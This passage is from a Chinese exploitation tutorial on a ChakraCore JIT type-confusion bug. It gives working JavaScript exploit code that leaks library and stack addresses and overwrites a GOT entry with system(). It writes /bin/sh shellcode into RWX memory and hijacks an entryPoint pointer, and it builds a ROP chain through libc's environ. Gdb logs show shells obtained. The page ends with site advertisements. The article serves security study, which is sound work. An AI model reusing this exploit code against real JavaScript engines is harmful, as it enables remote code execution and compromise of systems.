print("[*] leak libc base addr:" + hex(libc_basse_addr));
​
// 第二步:计算system地址,修改memmove GOT表地址
let libc_system_addr = libc_basse_addr + 0x4F440;
let chakraso_got_memmove_addr = chakraso_base_addr + 0xE21108;
write64(chakraso_got_memmove_addr, libc_system_addr);
​
// 第三步:调用Uint8Array.set触发system调用
function get_shell()
{
    var command = "/bin/sh\0";
    var tmp_arr = [];
    for(var i = 0; i < command.length; i++)
    {
        tmp_arr.push(command.charCodeAt(i));
    } 
    var trigger = new Uint8Array(tmp_arr);
    trigger.set(new Uint8Array(5));
}
get_shell();

在gdb中调试结果如下:

kali$ gdb ./ch
pwndbg> set args exp.js
pwndbg> r
Starting program: ch exp.js
... ...
leak fake_object_array address: 0x7efca747c140
[*] read data from 0x7efca747c140:0x7efca3d791c0
[*] read data from 0x7efca3d791c0:0x7efca312c960
[*] leak chakra.so base addr:0x7efca2fa1000
[*] read data from 0x7efca3dc26e0:0x7efca5a67070
[*] leak libc base addr:0x7efca59d0000
[*] write data to 0x7efca3dc2108:0x7efca5a1f440
... ...
process 19811 is executing new program: /bin/dash
$ uname -a
[New process 20210]
process 20210 is executing new program: /bin/uname
Linux kali 4.18.0-20-generic #21~18.04.1-Ubuntu SMP Wed May 8 08:43:37 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
$ 

可以发现程序成功调用了system函数。

需要注意的地方

在读取libChakraCore.so GOT表中关于libc.so函数的地址时,比如起初读取的是GOT表中的read函数:

pwndbg> r
[*] read data from 0x7f68263e9548:0x7f6828f3c340
pwndbg> telescope 0x7f68263e9548 0x50
00:0000│   0x7f68263e9548 (GOT+1352) —▸ 0x7f6828f3c340 (read) 
... ...
33:0198│   0x7f68263e96e0 (GOT+1760) —▸ 0x7f682808e070 (malloc) 
pwndbg> vmmap 0x7f6828f3c340 <--  read函数实际上是libpthread.so里的函数
    0x7f6828f2b000     0x7f6828f45000 r-xp    1a000 0      /.../libpthread-2.27.so
pwndbg> vmmap 0x7f682808e070 <-- malloc函数实际上是libc.so里的函数
    0x7f6827ff7000     0x7f68281de000 r-xp   1e7000 0      /.../libc-2.27.so
pwndbg> 

可以发现GOT表中read函数链接的是libpthread.so里的函数,而malloc链接的才是libc.so里的函数,因此如果我们想要得到libc的基地址,只能去读取malloc才行。出现上述现象的原因是,chakra运行时调用了某些libpthread中的函数。

2. 修改entryPoint劫持执行流

还记得前面伪造DataView时学习的chakra的对象结构吗?这里我们就要用到对象结构中的知识点。从前面基础知识可知,一个JavaScript DataView对象包含8个成员变量:

DataView对象结构
[0] vtable指针
[1] TypeObject指针
[2] Dynamic Object Content
[3] Dynamic Object Content
[4] buffer size
[5] ArrayBuffer Object指针
[6] byteoffset
[7] 目的缓冲区地址

其中第二个成员变量TypeObject指针指向了一个代表该对象类型的结构体:

TypeObject对象结构
[0] TypeId
[1] JavaScriptLibrary
[2] Prototype
[3] entryPoint <– 函数指针
[4]PropertyCache

这里需要注意TypeObject+0×18位置的entryPoint函数指针。只要拥有该指针的JavaScript对象被当做函数调用时,这个函数指针就会被调用。假设我们定义了一个对象var f = [],只要我们在JavaScript中执行f()将f作为一个函数执行,那么它内部的entryPoint指针就会被调用。正常情况下f并不是一个函数,因此会报TypeError: Function expected错误,但entryPoint指针已经被调用了。

那如果我们把这个entryPoint指针替换为shellcode的地址,那不就可以执行我们的shellcode了吗? 当然,这是可行的!

在最后付诸实施之前,我们还得解决一个问题。虽然我们通过类型混淆漏洞可以获得shellcode的内存地址,也可以通过任意地址写原语将entryPoint指针修改为shellcode内存地址,但首先需要确保shellcode所在内存是可读可写可执行的。

比较幸运也比较奇怪的是,chakracore默认编译时,会把所有的js对象放在一个可读可写可执行的内存页上。这给我们提供了很大的便利。比如我们通过前面漏洞泄露了一个shellcode数组的内存地址:

var shellcode = [1.0, 2.0, 3.0, 4.0, 5.0, 6.0, 7.0];
var shellcode_addr = 0x0;
function opt(arr, s) {
    arr[0] = 1.1;
​
    if (s !== null) {
        let tmp = 'a'.localeCompare(s);
    }
​
    arr[0] = 2.3023e-320;
    fake_object_array_addr = f2i(arr[1]);
    arr[1] = i2f(fake_object_array_addr + 0x58);
    shellcode_addr = f2i(arr[2]);
}
​
var arr = [1.1, 2.2, 3.3, 4.4];
// JIT优化
for(let i=0; i < 10000; i++)
{
    'a'.localeCompare('x', []); 
    opt(arr, null);
    try{
        opt(arr, {toString: () => {
            throw 1;
        }});
    }catch(e){
    }
}
​
// 触发漏洞
try{
    opt(arr, {toString: () => {
        arr[1] = fake_object_array;
        arr[2] = shellcode;
    }});
}catch(e){
}
​
print("leak shellcode address: " + hex(shellcode_addr));

我们就能泄露出shellcode数组对象的内存地址了,gdb中调试如下:

pwndbg> r
... ...
leak shellcode address: 0x7f5ddd3c7b40
pwndbg> vmmap 0x7f5ddd3c7b40
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
    0x7f5ddd3b8000     0x7f5ddd3c8000 rwxp    10000 0      
pwndbg> x/8gx 0x7f5ddd3c7b40+0x58
0x7f5ddd3c7b98: 0x3ff0000000000000  0x4000000000000000
0x7f5ddd3c7ba8: 0x4008000000000000  0x4010000000000000
0x7f5ddd3c7bb8: 0x4014000000000000  0x4018000000000000
0x7f5ddd3c7bc8: 0x401c000000000000  0x00007f5ddd40d820
pwndbg> 

可以看到shellcode数组所在内存页默认是可读可写可执行的,另外根据前面数组对象的内存布局,+0×58位置就是数组内容所在内存,我们只要将这块内存修改为shellcode就行了。

write64(shellcode_addr+0x58      , 0x0000485299583b6a);
write64(shellcode_addr+0x58+6    , 0x00006e69622f2fbb);
write64(shellcode_addr+0x58+12   , 0x00005f545368732f);
write64(shellcode_addr+0x58+18   , 0x0000050f5e545752);
​
let type_object_addr = read64(shellcode_addr + 0x8);
let entry_point_ptr = type_object_addr + 0x18;
​
write64(entry_point_ptr, shellcode_addr+0x58);
shellcode();

如上所述,最后将shellcode当做一个函数调用就可以触发shellcode调用了,gdb调试结果如下:

pwndbg> c
Continuing.
[*] write data to 0x7f97a4027b98:0x485299583b6a
[*] write data to 0x7f97a4027b9e:0x6e69622f2fbb
[*] write data to 0x7f97a4027ba4:0x5f545368732f
[*] write data to 0x7f97a4027baa:0x50f5e545752
... ...
process 29374 is executing new program: /bin/dash
$ uname -a
Linux kali 4.18.0-20-generic #21~18.04.1-Ubuntu SMP Wed May 8 08:43:37 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
$ 

这里需要注意的是,我自己实现的write64只能最多写6个字节,估计还是和上一篇v8漏洞利用遇到的FloatArray不能写高地址的问题类似,因此在写shellcode时,最多每次写6个字节。

备注:chakracore中没有讲解webassembly的shellcode触发方式,是因为自己在调试时发现chakracore生成wasm对象后并没有像v8一样多出来一个RWX内存页。自己也没找到wasm对象生成的处理指令所在位置。但幸运的是,存储js对象的内存页本来就是RWX属性,entryPoint指针直接满足了我们的需求。如果有会wasm调用shellcode的大佬,恳请指点一下,感激不尽。

3. 高级:泄露environ变量劫持栈构造ROP

这里算是补充之前学习堆利用时没学到的一个知识点吧。

在libc.so.6中,有一个全局变量environ,该变量位置存储了程序运行之后整个栈的基地址。因此,在泄露libc地址后,很容易通过读取该全局变量获得程序的栈基址。

根据对栈的理解,每次调用一个函数,程序都会将当前函数的下一条指令地址压入栈中。栈基地址位于高地址,那么低地址处肯定是程序运行过程中的整个栈空间,在某些地址肯定存储着自程序运行以来所有的ret返回地址。因此只要我们修改其中一个ret返回地址,就可以构造我们想要的ROP了。利用思路如下:

泄露栈基地址

篡改某个返回地址为system函数的ROP

笔者在libc2.27中environ全局变量的偏移如下:

.bss:00000000003EE098 environ 

与前面第一种方法类似,泄露栈基地址的js语句实现如下:

let vtable_addr = read64(fake_object_array_addr);
let chakraso_func_addr = read64(vtable_addr);
let chakraso_base_addr = chakraso_func_addr - 0x18B960;
print("[*] leak chakra.so base addr:" + hex(chakraso_base_addr));
​
let chakraso_got_malloc_addr = chakraso_base_addr + 0xE216E0;
let libc_malloc_addr = read64(chakraso_got_malloc_addr);
let libc_basse_addr = libc_malloc_addr - 0x97070;
print("[*] leak libc base addr:" + hex(libc_basse_addr));
​
let libc_environ_addr = libc_basse_addr + 0x3EE098;
let stack_base_addr = read64(libc_environ_addr);
print("[*] leak stack base addr:" + hex(stack_base_addr));

gdb中调试结果如下:

pwndbg> r
Starting program: Release/ch exp.js
leak fake_object_array address: 0x7f0afe64c140
[*] read data from 0x7f0afe64c140:0x7f0afaf401c0
[*] read data from 0x7f0afaf401c0:0x7f0afa2f3960
[*] leak chakra.so base addr:0x7f0afa168000
[*] read data from 0x7f0afaf896e0:0x7f0afcc2e070
[*] leak libc base addr:0x7f0afcb97000
[*] read data from 0x7f0afcf85098:0x7fffc03cf670
[*] leak stack base addr:0x7fffc03cf670

此时以该地址为基地址,查看低地址处的内容:

pwndbg> telescope 0x7fffc03cf670-0x200 0x100
0f:0078│   0x7fffc03cf4e8 —▸ 0x55e2753d57db (main+1563) ◂— mov    r15d, eax  <-- 这里存储着一个返回地址
10:0080│   0x7fffc03cf4f0 —▸ 0x7fffc03cf658 —▸ 0x7fffc03d00aa ◂— 'Release/ch'
11:0088│   0x7fffc03cf4f8 —▸ 0x7f0afcf87628 (__exit_funcs_lock) ◂— 0
12:0090│   0x7fffc03cf500 —▸ 0x55e27655f510 ◂— 0x55e27655f510
... ↓
1b:00d8│   0x7fffc03cf548 ◂— 0x0
1c:00e0│   0x7fffc03cf550 —▸ 0x55e2753d2e00 (_start) ◂— xor    ebp, ebp
1d:00e8│   0x7fffc03cf558 —▸ 0x7fffc03cf650 ◂— 0x2
1e:00f0│   0x7fffc03cf560 ◂— 0x0
... ↓
20:0100│   0x7fffc03cf570 —▸ 0x55e27541d550 (__libc_csu_init) ◂— push   r15
21:0108│   0x7fffc03cf578 —▸ 0x7f0afcbb8b97 (__libc_start_main+231) 

发现在栈基地址-0×200+0×78处存储着一个main函数相关的返回地址,因此我们可以劫持这个ret返回地址构造system的ROP。具体步骤就是,先在堆中申请一块内存放上要执行的命令字符串,得到其地址;然后在上述ret地址处写一个pop rdi; ret的ROP,将命令字符串地址存入rdi,然后调用system即可。ret处的ROP布局为:

pop rdi; retROP地址
命令字符串地址
system函数地址

具体寻找ROPgadget的过程不再赘述,实现的js代码如下:

var command = [1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8];
var command_addr = 0x0;
// 这里省略了通过漏洞泄露command_addr的过程,具体见github附件内容
// ......
// write "/bin/sh\0" 自己可以修改为想要的任何命令字符串
write64(command_addr+0x58      , 0x6e69622f);
write64(command_addr+0x58+4    , 0x0068732f);
// 泄露栈基地址后,覆盖写为ROP
write64(stack_base_addr-0x200+0x78, pop_rdi_ret);
write64(stack_base_addr-0x200+0x78+0x8, command_addr+0x58);
write64(stack_base_addr-0x200+0x78+0x10, libc_system_addr);

如果现在你把之前的js代码组合在一起运行的话,恭喜你,和我一样踩了一个chakracore的大坑。

我们现在覆盖的是0x55e2753d57db (main+1563)这个栈地址,当程序执行到这里时,也就是chakracore已经解析完所有js代码了,它在这之前做了一件非常让我们非常“生气”的事情,它把存储js对象的内存页给unmap掉了:

pwndbg> telescope 0x7fffe6d049f0-0x200+0x78 <-- 覆盖返回地址后的栈空间布局
00:0000│   0x7fffe6d04868 —▸ 0x7f8ed41ed55f (init_cacheinfo+239) ◂— pop    rdi
01:0008│   0x7fffe6d04870 —▸ 0x7f8ed5c7c238 ◂— 0x68732f6e69622f /* '/bin/sh' */
02:0010│   0x7fffe6d04878 —▸ 0x7f8ed421b440 (system) ◂— test   rdi, rdi
03:0018│   0x7fffe6d04880 —▸ 0x559de2d1b4f0 ◂— 0x559de2d1b4f0
04:0020│   0x7fffe6d04888 ◂— 0x2
05:0028│   0x7fffe6d04890 ◂— 0x7fff00000002
06:0030│   0x7fffe6d04898 —▸ 0x559de23fe780 —▸ 0x559de23fe7a0 
07:0038│   0x7fffe6d048a0 —▸ 0x559de07cb030 (PrintUsage()) 
pwndbg> x/s 0x7f8ed5c7c238  <-- 此时还可以正常访问存储js对象内存页
0x7f8ed5c7c238:	"/bin/sh"
pwndbg> c
......
Program received signal SIGSEGV (fault address 0x0)
pwndbg> x/s 0x7f8ed5c7c238  <-- 继续执行以后,发现存储js对象的内存页被unmap掉了
0x7f8ed5c7c238:	<error: Cannot access memory at address 0x7f8ed5c7c238>
pwndbg> vmmap 0x7f8ed5c7c238
There are no mappings for specified address or module.
pwndbg>

因此,我们需要重新从栈中找一个ret地址构造我们的ROP,并且需要保证程序运行到该ret地址时,仍旧在解析js对象才行。经过搜索,我们找到了栈基地址-0×900+0×88的栈地址,这里ret返回地址代表的是处理JS对象的一个函数,表明程序目前还没有释放存储js对象的内存页。因此这里是一个非常好的选择:

pwndbg> telescope 0x7ffcae366df0-0x900 0x50
00:0000│   0x7ffcae3664f0 —▸ 0x7ffcae366578 —▸ 0x7f57e2b82bdb (JsRun+315) <-- 思考:这里为什么不是地址呢?
... ...
0f:0078│   0x7ffcae366568 —▸ 0x7f57e6e2a0c0 —▸ 0x7f57e3762b40 
10:0080│   0x7ffcae366570 —▸ 0x7ffcae366610 —▸ 0x7ffcae3668e0 
11:0088│   0x7ffcae366578 —▸ 0x7f57e2b82bdb (JsRun+315)  <-- 这里的ret地址
12:0090│   0x7ffcae366580 ◂— 0x0

具体修改偏移后,就能实现system调用了。

小技巧:这里大家可能会问如何找到栈基地址-0×900+0×88就是ret返回地址呢?一个小技巧就是,在breakpoint()下断点后,可以查看此时的EBP调用链,EBP调用链上每个内存地址+8的内存存储的都是返回地址。

RBP  0x7ffdca9791a0 —▸ 0x7ffdca979220 —▸ 0x7ffdca979250 —▸ 0x7ffdca9792f0 —▸ 0x7ffdca9793a0 
.....
pwndbg> telescope 0x7ffdca9793a0
00:0000│ 0x7ffdca9793a0 —▸ 0x7ffdca9793d0 —▸ 0x7ffdca9797d0 —▸ 0x7ffdca9797f0 —▸ 0x7ffdca979800
01:0008│ 0x7ffdca9793a8 —▸ 0x7f9ae4fef3be (Js::InterpreterStackFrame: rocess()+302)
pwndbg> telescope 0x7ffdca979800
00:0000│ 0x7ffdca979800 —▸ 0x7ffdca979820 —▸ 0x7ffdca9798f0 —▸ 0x7ffdca979910 —▸ 0x7ffdca979af0
01:0008│ 0x7ffdca979808 —▸ 0x7f9ae52a3c8e (amd64_CallFunction+78)

另外,在构造system的ROP时,会遇到system函数内部以栈内存作为地址进行读写的指令,而很有可能栈在执行到ret地址之前就被清零了,从而造成内存访问异常。此时通过一些增加一些ROP改变栈布局,即可绕过这些限制。

比如,在我调试时,system函数内部需要将rsp + 0×40作为地址进行访问:

0x7f51cf48f2f6 <do_system+1094>    movaps xmmword ptr [rsp + 0x40], xmm0

而不幸的是,执行到这条指令时,rsp + 0×40被程序的正常流程给清零了,从而会出现内存访问异常。

Program received signal SIGSEGV (fault address 0x0)

此时rsp + 0×40处的栈空间布局为:

pwndbg> telescope $rsp+0x40
00:0000│      0x7ffd2bf66248 ◂— 0x0
01:0008│      0x7ffd2bf66250 —▸ 0x7fbc135dae9f

因此为了绕过这个限制,提前增加一个ret指令的rop使得$rsp+0×40加8,保证rsp + 0×40指向可写的内存地址。实现的js代码如下:

write64(stack_base_addr-0x878, pop_rdi_ret+1); // ret rop
write64(stack_base_addr-0x878+8, pop_rdi_ret); // pop rdi; ret rop
write64(stack_base_addr-0x878+0x10, command_addr+0x58);  // command str
write64(stack_base_addr-0x878+0x18, libc_system_addr);  // system address

0×09 总结

总结了N天,终于将chakracore的漏洞利用入门写完了。研究chakracore后最大的一点感触就是,这个研究过程解决了自己在学习v8漏洞利用中的很多误区,比如说对wasm的理解。还学习到了调试v8没学习到的利用方法,感觉收获颇丰。

文中涉及的chakracore程序和exp已存放在github上。如有错误,敬请斧正。

github地址: https://github.com/walkerfuz/writeups

0×10 参考

下面这些参考给我个人带来了很大帮助,建议喜欢的童鞋深入读一读。

[1] Chakra 引擎中 JIT 编译优化过程中的数组类型混淆漏洞分析 https://paper.seebug.org/768/

[2] Edge Type Confusion利用:从type confused到内存读写 https://www.anquanke.com/post/id/98774

[3] Edge Type Confusion利用:从内存读写到控制流程 https://www.anquanke.com/post/id/98775

[4] Chakrazy – exploiting type confusion bug in ChakraCore engine https://bruce30262.github.io/Chakrazy-exploiting-type-confusion-bug-in-ChakraCore/

[5] Mitigation bounty — From read-write anywhere to controllable calls https://medium.com/@mxatone/mitigation-bounty-from-read-write-anywhere-to-controllable-calls-ca1b9c7c0130

*本文原创作者:walkerfuz,本文属FreeBuf原创奖励计划,未经许可禁止转载


以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网

查看所有标签

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。

Usability for the Web

Usability for the Web

Tom Brinck、Darren Gergle、Scott D. Wood / Morgan Kaufmann / 2001-10-15 / USD 65.95

Every stage in the design of a new web site is an opportunity to meet or miss deadlines and budgetary goals. Every stage is an opportunity to boost or undercut the site's usability. Thi......一起来看看 《Usability for the Web》 这本书的介绍吧!

JSON 在线解析
JSON 在线解析

在线 JSON 格式化工具

随机密码生成器
随机密码生成器

多种字符组合密码

UNIX 时间戳转换
UNIX 时间戳转换

UNIX 时间戳转换